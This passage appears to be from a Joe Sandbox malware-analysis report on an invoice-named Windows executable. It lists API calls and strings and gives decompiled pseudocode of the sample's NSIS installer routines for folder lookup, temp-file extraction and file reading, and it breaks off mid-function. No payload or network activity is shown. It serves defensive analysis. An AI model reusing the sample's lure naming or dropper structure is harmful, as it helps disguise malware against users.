0x00402f93
0x00402f96
0x00402f9b
0x00000000
0x00000000
0x00402f9d
0x00402fa4
0x00000000
0x00000000
0x00402fa6
0x00402fad
0x00000000
0x00000000
0x00402faf
0x00402fb6
0x00000000
0x00000000
0x00402fb8
0x00402fbf
0x00000000
0x00000000
0x00402fc1
0x00402fc7
0x00402fd0
0x00402fd6
0x00402fd9
0x00402fdb
0x00402fe1
0x00000000
0x00000000
0x00402fe7
0x00402feb
0x00402ff3
0x00402ff3
0x00402ff6
0x00402ff6
0x00402ff9
0x00402ffb
0x00402ffd
0x00402ffd
0x00000000
0x00402ffb
0x00402fed
0x00402ff1
0x00000000
0x00000000
0x00000000
0x0040300f
0x0040300f
0x00403015
0x00403021
0x00403021
0x00403024
0x0040302a
0x0040302c
0x0040302c
0x00403034
0x00403034
0x00000000
0x00403034

APIs

GetTickCount.KERNEL32 ref: 00402ED2
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\Rechung-R1663322504.exe,00000400,?,00000006,00000008,0000000A), ref: 00402EEE

Part of subcall function 00405D51: GetFileAttributesW.KERNELBASE(?,00402F01,C:\Users\user\Desktop\Rechung-R1663322504.exe,80000000,00000003,?,00000006,00000008,0000000A), ref: 00405D55
Part of subcall function 00405D51: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,00000006,00000008,0000000A), ref: 00405D77

GetFileSize.KERNEL32(00000000,00000000,007B7000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Rechung-R1663322504.exe,C:\Users\user\Desktop\Rechung-R1663322504.exe,80000000,00000003,?,00000006,00000008,0000000A), ref: 00402F3A

Strings

"C:\Users\user\Desktop\Rechung-R1663322504.exe", xrefs: 00402EC1
Error launching installer, xrefs: 00402F11
C:\Users\user\Desktop, xrefs: 00402F1C, 00402F21, 00402F27
Null, xrefs: 00402FB8
C:\Users\user\AppData\Local\Temp\, xrefs: 00402ECB
vy, xrefs: 00402F4F
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403099
C:\Users\user\Desktop\Rechung-R1663322504.exe, xrefs: 00402ED8, 00402EE7, 00402EFB, 00402F1B
soft, xrefs: 00402FAF
Inst, xrefs: 00402FA6

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: "C:\Users\user\Desktop\Rechung-R1663322504.exe"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\Rechung-R1663322504.exe$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft$vy
API String ID: 4283519449-380796983
Opcode ID: 5b59a3334938b1ada53fb21aa8cc17301929ac982103e349ce86a46566e051fd
Instruction ID: 5e1ca327f74bc56913369b9b8f7861415b50b435560b28898b8d4eae658a22e8
Opcode Fuzzy Hash: 5b59a3334938b1ada53fb21aa8cc17301929ac982103e349ce86a46566e051fd
Instruction Fuzzy Hash: BC51F171901209AFDB20AF65DD85B9E7EA8EB4035AF10803BF505B62D5CB7C8E418B5D

Uniqueness

Uniqueness Score: -1.00%

Function 00406281 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 209
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 72%

			E00406281(void* __ebx, void* __edi, void* __esi, signed int _a4, signed int _a8) {
				signed int _v8;
				struct _ITEMIDLIST* _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _t43;
				WCHAR* _t44;
				signed char _t46;
				signed int _t47;
				signed int _t48;
				short _t58;
				short _t60;
				short _t62;
				void* _t70;
				signed int _t76;
				void* _t82;
				signed char _t83;
				short _t86;
				intOrPtr _t94;
				signed int _t96;
				void* _t102;
				short _t103;
				signed int _t106;
				signed int _t108;
				void* _t109;
				WCHAR* _t110;
				void* _t112;

				_t109 = __esi;
				_t102 = __edi;
				_t70 = __ebx;
				_t43 = _a8;
				if(_t43 < 0) {
					_t94 =  *0x7a79fc; // 0xa5dd06
					_t43 =  *(_t94 - 4 + _t43 * 4);
				}
				_push(_t70);
				_push(_t109);
				_push(_t102);
				_t96 =  *0x7a8a78 + _t43 * 2;
				_t44 = 0x7a69c0;
				_t110 = 0x7a69c0;
				if(_a4 >= 0x7a69c0 && _a4 - 0x7a69c0 >> 1 < 0x800) {
					_t110 = _a4;
					_a4 = _a4 & 0x00000000;
				}
				while(1) {
					_t103 =  *_t96;
					if(_t103 == 0) {
						break;
					}
					__eflags = (_t110 - _t44 & 0xfffffffe) - 0x800;
					if((_t110 - _t44 & 0xfffffffe) >= 0x800) {
						break;
					}
					_t82 = 2;
					_t96 = _t96 + _t82;
					__eflags = _t103 - 4;
					_a8 = _t96;
					if(__eflags >= 0) {
						if(__eflags != 0) {
							 *_t110 = _t103;
							_t110 = _t110 + _t82;
							__eflags = _t110;
						} else {
							 *_t110 =  *_t96;
							_t110 = _t110 + _t82;
							_t96 = _t96 + _t82;
						}
						continue;
					}
					_t83 =  *((intOrPtr*)(_t96 + 1));
					_t46 =  *_t96;
					_t47 = _t46 & 0x000000ff;
					_v8 = (_t83 & 0x0000007f) << 0x00000007 | _t46 & 0x0000007f;
					_a8 = _a8 + 2;
					_v28 = _t47 | 0x00008000;
					_v24 = _t47;
					_t76 = _t83 & 0x000000ff;
					_v16 = _t76;
					__eflags = _t103 - 2;
					_v20 = _t76 | 0x00008000;
					if(_t103 != 2) {
						__eflags = _t103 - 3;
						if(_t103 != 3) {
							__eflags = _t103 - 1;
							if(_t103 == 1) {
								__eflags = (_t47 | 0xffffffff) - _v8;
								E00406281(_t76, _t103, _t110, _t110, (_t47 | 0xffffffff) - _v8);
							}
							L43:
							_t48 = lstrlenW(_t110);
							_t96 = _a8;
							_t110 =  &(_t110[_t48]);
							_t44 = 0x7a69c0;
							continue;
						}
						_t106 = _v8;
						__eflags = _t106 - 0x1d;
						if(_t106 != 0x1d) {
							__eflags = (_t106 << 0xb) + 0x7a9000;
							E0040625F(_t110, (_t106 << 0xb) + 0x7a9000);
						} else {
							E004061A6(_t110,  *0x7a8a28);
						}
						__eflags = _t106 + 0xffffffeb - 7;
						if(_t106 + 0xffffffeb < 7) {
							L34:
							E004064F3(_t110);
						}
						goto L43;
					}
					_t86 =  *0x7a8a2c;
					__eflags = _t86;
					_t108 = 2;
					if(_t86 >= 0) {
						L13:
						_v8 = 1;
						L14:
						__eflags =  *0x7a8ac4;
						if( *0x7a8ac4 != 0) {
							_t108 = 4;
						}
						__eflags = _t47;
						if(__eflags >= 0) {
							__eflags = _t47 - 0x25;
							if(_t47 != 0x25) {
								__eflags = _t47 - 0x24;
								if(_t47 == 0x24) {
									GetWindowsDirectoryW(_t110, 0x400);
									_t108 = 0;
								}
								while(1) {
									__eflags = _t108;
									if(_t108 == 0) {
										goto L30;
									}
									_t58 =  *0x7a8a24;
									_t108 = _t108 - 1;
									__eflags = _t58;
									if(_t58 == 0) {
										L26:
										_t60 = SHGetSpecialFolderLocation( *0x7a8a28,  *(_t112 + _t108 * 4 - 0x18),  &_v12);
										__eflags = _t60;
										if(_t60 != 0) {
											L28:
											 *_t110 =  *_t110 & 0x00000000;
											__eflags =  *_t110;
											continue;
										}
										__imp__SHGetPathFromIDListW(_v12, _t110);
										__imp__CoTaskMemFree(_v12);
										__eflags = _t60;
										if(_t60 != 0) {
											goto L30;
										}
										goto L28;
									}
									__eflags = _v8;
									if(_v8 == 0) {
										goto L26;
									}
									_t62 =  *_t58( *0x7a8a28,  *(_t112 + _t108 * 4 - 0x18), 0, 0, _t110); // executed
									__eflags = _t62;
									if(_t62 == 0) {
										goto L30;
									}
									goto L26;
								}
								goto L30;
							}
							GetSystemDirectoryW(_t110, 0x400);
							goto L30;
						} else {
							E0040612D( *0x7a8a78, __eflags, 0x80000002, L"Software\\Microsoft\\Windows\\CurrentVersion",  *0x7a8a78 + (_t47 & 0x0000003f) * 2, _t110, _t47 & 0x00000040); // executed
							__eflags =  *_t110;
							if( *_t110 != 0) {
								L32:
								__eflags = _t76 - 0x1a;
								if(_t76 == 0x1a) {
									lstrcatW(_t110, L"\\Microsoft\\Internet Explorer\\Quick Launch");
								}
								goto L34;
							}
							E00406281(_t76, _t108, _t110, _t110, _t76);
							L30:
							__eflags =  *_t110;
							if( *_t110 == 0) {
								goto L34;
							}
							_t76 = _v16;
							goto L32;
						}
					}
					__eflags = _t86 - 0x5a04;
					if(_t86 == 0x5a04) {
						goto L13;
					}
					__eflags = _t76 - 0x23;
					if(_t76 == 0x23) {
						goto L13;
					}
					__eflags = _t76 - 0x2e;
					if(_t76 == 0x2e) {
						goto L13;
					} else {
						_v8 = _v8 & 0x00000000;
						goto L14;
					}
				}
				 *_t110 =  *_t110 & 0x00000000;
				if(_a4 == 0) {
					return _t44;
				}
				return E0040625F(_a4, _t44);
			}

0x00406281
0x00406281
0x00406281
0x00406287
0x0040628c
0x0040628e
0x0040629d
0x0040629d
0x004062a5
0x004062a6
0x004062a7
0x004062a8
0x004062ab
0x004062b3
0x004062b5
0x004062ce
0x004062d1
0x004062d1
0x004064cd
0x004064cd
0x004064d3
0x00000000
0x00000000
0x004062e1
0x004062e7
0x00000000
0x00000000
0x004062ef
0x004062f0
0x004062f2
0x004062f6
0x004062f9
0x004064ba
0x004064c8
0x004064cb
0x004064cb
0x004064bc
0x004064bf
0x004064c2
0x004064c4
0x004064c4
0x00000000
0x004064ba
0x004062ff
0x00406302
0x00406311
0x00406318
0x00406322
0x00406326
0x00406329
0x0040632c
0x00406331
0x00406336
0x0040633a
0x0040633d
0x0040645d
0x00406461
0x00406494
0x00406498
0x0040649d
0x004064a2
0x004064a2
0x004064a7
0x004064a8
0x004064ad
0x004064b0
0x004064b3
0x00000000
0x004064b3
0x00406463
0x00406466
0x00406469
0x0040647e
0x00406485
0x0040646b
0x00406472
0x00406472
0x0040648d
0x00406490
0x00406455
0x00406456
0x00406456
0x00000000
0x00406490
0x00406343
0x0040634b
0x0040634d
0x0040634e
0x00406367
0x00406367
0x0040636e
0x0040636e
0x00406375
0x00406379
0x00406379
0x0040637a
0x0040637c
0x004063b7
0x004063ba
0x004063ca
0x004063cd
0x004063d5
0x004063db
0x004063db
0x00406438
0x00406438
0x0040643a
0x00000000
0x00000000
0x004063df
0x004063e6
0x004063e7
0x004063e9
0x00406403
0x00406411
0x00406417
0x00406419
0x00406434
0x00406434
0x00406434
0x00000000
0x00406434
0x0040641f
0x0040642a
0x00406430
0x00406432
0x00000000
0x00000000
0x00000000
0x00406432
0x004063eb
0x004063ee
0x00000000
0x00000000
0x004063fd
0x004063ff
0x00406401
0x00000000
0x00000000
0x00000000
0x00406401
0x00000000
0x00406438
0x004063c2
0x00000000
0x0040637e
0x0040639c
0x004063a1
0x004063a5
0x00406445
0x00406445
0x00406448
0x00406450
0x00406450
0x00000000
0x00406448
0x004063ad
0x0040643c
0x0040643c
0x00406440
0x00000000
0x00000000
0x00406442
0x00000000
0x00406442
0x0040637c
0x00406350
0x00406355
0x00000000
0x00000000
0x00406357
0x0040635a
0x00000000
0x00000000
0x0040635c
0x0040635f
0x00000000
0x00406361
0x00406361
0x00000000
0x00406361
0x0040635f
0x004064d9
0x004064e4
0x004064f0
0x004064f0
0x00000000

APIs

GetSystemDirectoryW.KERNEL32(Call,00000400), ref: 004063C2
GetWindowsDirectoryW.KERNEL32(Call,00000400,00000000,007A0F00,?,004052FA,007A0F00,00000000), ref: 004063D5
SHGetSpecialFolderLocation.SHELL32(004052FA,007924D8,00000000,007A0F00,?,004052FA,007A0F00,00000000), ref: 00406411
SHGetPathFromIDListW.SHELL32(007924D8,Call), ref: 0040641F
CoTaskMemFree.OLE32(007924D8), ref: 0040642A
lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 00406450
lstrlenW.KERNEL32(Call,00000000,007A0F00,?,004052FA,007A0F00,00000000), ref: 004064A8

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 00406392
\Microsoft\Internet Explorer\Quick Launch, xrefs: 0040644A
Call, xrefs: 004062AB, 00406386, 0040638D, 00406391, 004063AB, 004063AC, 004063C1, 004063D4, 004063F0, 0040641B, 0040644F, 00406455, 00406471, 00406484, 004064A1, 004064A7, 004064B3, 004064E6

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskWindowslstrcatlstrlen
String ID: Call$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 717251189-1230650788
Opcode ID: 890eb65aa38ad62bbc062fa9763307f13bf9a84b93246a35c735a8ee9e53aa4d
Instruction ID: 53892de15873aface2ea8104bec8e4e448d1085f61c5dcff38edd77b46373637
Opcode Fuzzy Hash: 890eb65aa38ad62bbc062fa9763307f13bf9a84b93246a35c735a8ee9e53aa4d
Instruction Fuzzy Hash: AA610371A00111AADF249F64DC40ABE37A5BF55324F12813FE547B62D0DB3D89A2CB5D

Uniqueness

Uniqueness Score: -1.00%

Function 0040176F Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 61%

			E0040176F(FILETIME* __ebx, void* __eflags) {
				void* __edi;
				void* _t35;
				void* _t43;
				void* _t45;
				FILETIME* _t51;
				FILETIME* _t64;
				void* _t66;
				signed int _t72;
				FILETIME* _t73;
				FILETIME* _t77;
				signed int _t79;
				void* _t81;
				void* _t82;
				WCHAR* _t84;
				void* _t86;

				_t77 = __ebx;
				 *(_t86 - 8) = E00402C37(0x31);
				 *(_t86 + 8) =  *(_t86 - 0x28) & 0x00000007;
				_t35 = E00405BA7( *(_t86 - 8));
				_push( *(_t86 - 8));
				_t84 = L"Call";
				if(_t35 == 0) {
					lstrcatW(E00405B30(E0040625F(_t84, L"C:\\Users\\Arthur\\Socialdirektrer")), ??);
				} else {
					E0040625F();
				}
				E004064F3(_t84);
				while(1) {
					__eflags =  *(_t86 + 8) - 3;
					if( *(_t86 + 8) >= 3) {
						_t66 = E004065A2(_t84);
						_t79 = 0;
						__eflags = _t66 - _t77;
						if(_t66 != _t77) {
							_t73 = _t66 + 0x14;
							__eflags = _t73;
							_t79 = CompareFileTime(_t73, _t86 - 0x1c);
						}
						asm("sbb eax, eax");
						_t72 =  ~(( *(_t86 + 8) + 0xfffffffd | 0x80000000) & _t79) + 1;
						__eflags = _t72;
						 *(_t86 + 8) = _t72;
					}
					__eflags =  *(_t86 + 8) - _t77;
					if( *(_t86 + 8) == _t77) {
						E00405D2C(_t84);
					}
					__eflags =  *(_t86 + 8) - 1;
					_t43 = E00405D51(_t84, 0x40000000, (0 |  *(_t86 + 8) != 0x00000001) + 1);
					__eflags = _t43 - 0xffffffff;
					 *(_t86 - 0x30) = _t43;
					if(_t43 != 0xffffffff) {
						break;
					}
					__eflags =  *(_t86 + 8) - _t77;
					if( *(_t86 + 8) != _t77) {
						E004052C3(0xffffffe2,  *(_t86 - 8));
						__eflags =  *(_t86 + 8) - 2;
						if(__eflags == 0) {
							 *((intOrPtr*)(_t86 - 4)) = 1;
						}
						L31:
						 *0x7a8ac8 =  *0x7a8ac8 +  *((intOrPtr*)(_t86 - 4));
						__eflags =  *0x7a8ac8;
						goto L32;
					} else {
						E0040625F("C:\Users\Arthur\AppData\Local\Temp\nsiF853.tmp", _t81);
						E0040625F(_t81, _t84);
						E00406281(_t77, _t81, _t84, "C:\Users\Arthur\AppData\Local\Temp\nsiF853.tmp\System.dll",  *((intOrPtr*)(_t86 - 0x14)));
						E0040625F(_t81, "C:\Users\Arthur\AppData\Local\Temp\nsiF853.tmp");
						_t64 = E004058C1("C:\Users\Arthur\AppData\Local\Temp\nsiF853.tmp\System.dll",  *(_t86 - 0x28) >> 3) - 4;
						__eflags = _t64;
						if(_t64 == 0) {
							continue;
						} else {
							__eflags = _t64 == 1;
							if(_t64 == 1) {
								 *0x7a8ac8 =  &( *0x7a8ac8->dwLowDateTime);
								L32:
								_t51 = 0;
								__eflags = 0;
							} else {
								_push(_t84);
								_push(0xfffffffa);
								E004052C3();
								L29:
								_t51 = 0x7fffffff;
							}
						}
					}
					L33:
					return _t51;
				}
				E004052C3(0xffffffea,  *(_t86 - 8)); // executed
				 *0x7a8af4 =  *0x7a8af4 + 1;
				_push(_t77);
				_push(_t77);
				_push( *(_t86 - 0x30));
				_push( *((intOrPtr*)(_t86 - 0x20)));
				_t45 = E004030FA(); // executed
				 *0x7a8af4 =  *0x7a8af4 - 1;
				__eflags =  *(_t86 - 0x1c) - 0xffffffff;
				_t82 = _t45;
				if( *(_t86 - 0x1c) != 0xffffffff) {
					L22:
					SetFileTime( *(_t86 - 0x30), _t86 - 0x1c, _t77, _t86 - 0x1c); // executed
				} else {
					__eflags =  *((intOrPtr*)(_t86 - 0x18)) - 0xffffffff;
					if( *((intOrPtr*)(_t86 - 0x18)) != 0xffffffff) {
						goto L22;
					}
				}
				CloseHandle( *(_t86 - 0x30)); // executed
				__eflags = _t82 - _t77;
				if(_t82 >= _t77) {
					goto L31;
				} else {
					__eflags = _t82 - 0xfffffffe;
					if(_t82 != 0xfffffffe) {
						E00406281(_t77, _t82, _t84, _t84, 0xffffffee);
					} else {
						E00406281(_t77, _t82, _t84, _t84, 0xffffffe9);
						lstrcatW(_t84,  *(_t86 - 8));
					}
					_push(0x200010);
					_push(_t84);
					E004058C1();
					goto L29;
				}
				goto L33;
			}

0x0040176f
0x00401776
0x00401782
0x00401785
0x0040178a
0x0040178d
0x00401794
0x004017b0
0x00401796
0x00401797
0x00401797
0x004017b6
0x004017bb
0x004017bb
0x004017bf
0x004017c2
0x004017c7
0x004017c9
0x004017cb
0x004017d0
0x004017d0
0x004017db
0x004017db
0x004017ec
0x004017ee
0x004017ee
0x004017ef
0x004017ef
0x004017f2
0x004017f5
0x004017f8
0x004017f8
0x004017ff
0x0040180e
0x00401813
0x00401816
0x00401819
0x00000000
0x00000000
0x0040181b
0x0040181e
0x00401874
0x00401879
0x004015b6
0x00402885
0x00402885
0x00402abf
0x00402ac2
0x00402ac2
0x00000000
0x00401820
0x00401826
0x0040182d
0x0040183a
0x00401845
0x0040185b
0x0040185b
0x0040185e
0x00000000
0x00401864
0x00401864
0x00401865
0x00401882
0x00402ac8
0x00402ac8
0x00402ac8
0x00401867
0x00401867
0x00401868
0x00401493
0x004022f1
0x004022f1
0x004022f1
0x00401865
0x0040185e
0x00402aca
0x00402ace
0x00402ace
0x00401892
0x00401897
0x0040189d
0x0040189e
0x0040189f
0x004018a2
0x004018a5
0x004018aa
0x004018b0
0x004018b4
0x004018b6
0x004018be
0x004018ca
0x004018b8
0x004018b8
0x004018bc
0x00000000
0x00000000
0x004018bc
0x004018d3
0x004018d9
0x004018db
0x00000000
0x004018e1
0x004018e1
0x004018e4
0x004018fc
0x004018e6
0x004018e9
0x004018f2
0x004018f2
0x00401901
0x00401906
0x004022ec
0x00000000
0x004022ec
0x00000000

APIs

lstrcatW.KERNEL32(00000000,00000000), ref: 004017B0
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\Socialdirektrer,?,?,00000031), ref: 004017D5

Part of subcall function 0040625F: lstrcpynW.KERNEL32(?,?,00000400,00403421,Susans,NSIS Error,?,00000006,00000008,0000000A), ref: 0040626C

Part of subcall function 004052C3: lstrlenW.KERNEL32(007A0F00,00000000,007924D8,764E23A0,?,?,?,?,?,?,?,?,?,0040323B,00000000,?), ref: 004052FB
Part of subcall function 004052C3: lstrlenW.KERNEL32(0040323B,007A0F00,00000000,007924D8,764E23A0,?,?,?,?,?,?,?,?,?,0040323B,00000000), ref: 0040530B
Part of subcall function 004052C3: lstrcatW.KERNEL32(007A0F00,0040323B), ref: 0040531E
Part of subcall function 004052C3: SetWindowTextW.USER32(007A0F00,007A0F00), ref: 00405330
Part of subcall function 004052C3: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405356
Part of subcall function 004052C3: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405370
Part of subcall function 004052C3: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040537E

Strings

C:\Users\user\Socialdirektrer, xrefs: 0040179E
C:\Users\user\AppData\Local\Temp\nsiF853.tmp\System.dll, xrefs: 00401835, 00401851
Call, xrefs: 0040178D, 00401796, 004017A3, 004017C1, 004017F7, 0040180D, 0040182B, 00401867, 004018E8, 004018F1, 004018FB, 00401906
C:\Users\user\AppData\Local\Temp\nsiF853.tmp, xrefs: 00401821, 0040183F

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Temp\nsiF853.tmp$C:\Users\user\AppData\Local\Temp\nsiF853.tmp\System.dll$C:\Users\user\Socialdirektrer$Call
API String ID: 1941528284-2823438966
Opcode ID: 4cee9265a68953e9500546955361bbd058d621e4c9a2b149a975a01be84f0a7b
Instruction ID: f7ad0716a47908c9ff001062aeffa45098cd3b08a1486a00dbbe40ca2a302bdd
Opcode Fuzzy Hash: 4cee9265a68953e9500546955361bbd058d621e4c9a2b149a975a01be84f0a7b
Instruction Fuzzy Hash: 56419671910515BECF117BA5CD85DAF3A75EF41329B20823FF412B11E2CA3C8A529A6E

Uniqueness

Uniqueness Score: -1.00%

Function 00402644 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E00402644(intOrPtr __ebx, intOrPtr __edx, void* __esi) {
				intOrPtr _t65;
				intOrPtr _t66;
				intOrPtr _t72;
				void* _t76;
				void* _t79;

				_t72 = __edx;
				 *((intOrPtr*)(_t76 - 8)) = __ebx;
				_t65 = 2;
				 *((intOrPtr*)(_t76 - 0x48)) = _t65;
				_t66 = E00402C15(_t65);
				_t79 = _t66 - 1;
				 *((intOrPtr*)(_t76 - 0x4c)) = _t72;
				 *((intOrPtr*)(_t76 - 0x3c)) = _t66;
				if(_t79 < 0) {
					L36:
					 *0x7a8ac8 =  *0x7a8ac8 +  *(_t76 - 4);
				} else {
					__ecx = 0x3ff;
					if(__eax > 0x3ff) {
						 *(__ebp - 0x3c) = 0x3ff;
					}
					if( *__esi == __bx) {
						L34:
						__ecx =  *(__ebp - 0xc);
						__eax =  *(__ebp - 8);
						 *( *(__ebp - 0xc) +  *(__ebp - 8) * 2) = __bx;
						if(_t79 == 0) {
							 *(_t76 - 4) = 1;
						}
						goto L36;
					} else {
						 *(__ebp - 0x30) = __ebx;
						 *(__ebp - 0x10) = E004061BF(__ecx, __esi);
						if( *(__ebp - 0x3c) > __ebx) {
							do {
								if( *((intOrPtr*)(__ebp - 0x2c)) != 0x39) {
									if( *((intOrPtr*)(__ebp - 0x1c)) != __ebx ||  *(__ebp - 8) != __ebx || E00405E32( *(__ebp - 0x10), __ebx) >= 0) {
										__eax = __ebp - 0x44;
										if(E00405DD4( *(__ebp - 0x10), __ebp - 0x44, 2) == 0) {
											goto L34;
										} else {
											goto L21;
										}
									} else {
										goto L34;
									}
								} else {
									__eax = __ebp - 0x38;
									_push(__ebx);
									_push(__ebp - 0x38);
									__eax = 2;
									__ebp - 0x38 -  *((intOrPtr*)(__ebp - 0x1c)) = __ebp + 0xa;
									__eax = ReadFile( *(__ebp - 0x10), __ebp + 0xa, __ebp - 0x38 -  *((intOrPtr*)(__ebp - 0x1c)), ??, ??); // executed
									if(__eax == 0) {
										goto L34;
									} else {
										__ecx =  *(__ebp - 0x38);
										if(__ecx == __ebx) {
											goto L34;
										} else {
											__ax =  *(__ebp + 0xa) & 0x000000ff;
											 *(__ebp - 0x48) = __ecx;
											 *(__ebp - 0x44) = __eax;
											if( *((intOrPtr*)(__ebp - 0x1c)) != __ebx) {
												L28:
												__ax & 0x0000ffff = E004061A6( *(__ebp - 0xc), __ax & 0x0000ffff);
											} else {
												__ebp - 0x44 = __ebp + 0xa;
												if(MultiByteToWideChar(__ebx, 8, __ebp + 0xa, __ecx, __ebp - 0x44, 1) != 0) {
													L21:
													__eax =  *(__ebp - 0x44);
												} else {
													__esi =  *(__ebp - 0x48);
													__esi =  ~( *(__ebp - 0x48));
													while(1) {
														_t22 = __ebp - 0x38;
														 *_t22 =  *(__ebp - 0x38) - 1;
														__eax = 0xfffd;
														 *(__ebp - 0x44) = 0xfffd;
														if( *_t22 == 0) {
															goto L22;
														}
														 *(__ebp - 0x48) =  *(__ebp - 0x48) - 1;
														__esi = __esi + 1;
														__eax = SetFilePointer( *(__ebp - 0x10), __esi, __ebx, 1); // executed
														__ebp - 0x44 = __ebp + 0xa;
														if(MultiByteToWideChar(__ebx, 8, __ebp + 0xa,  *(__ebp - 0x38), __ebp - 0x44, 1) == 0) {
															continue;
														} else {
															goto L21;
														}
														goto L22;
													}
												}
												L22:
												if( *((intOrPtr*)(__ebp - 0x1c)) != __ebx) {
													goto L28;
												} else {
													if( *(__ebp - 0x30) == 0xd ||  *(__ebp - 0x30) == 0xa) {
														if( *(__ebp - 0x30) == __ax || __ax != 0xd && __ax != 0xa) {
															 *(__ebp - 0x48) =  ~( *(__ebp - 0x48));
															__eax = SetFilePointer( *(__ebp - 0x10),  ~( *(__ebp - 0x48)), __ebx, 1);
														} else {
															__ecx =  *(__ebp - 0xc);
															__edx =  *(__ebp - 8);
															 *(__ebp - 8) =  *(__ebp - 8) + 1;
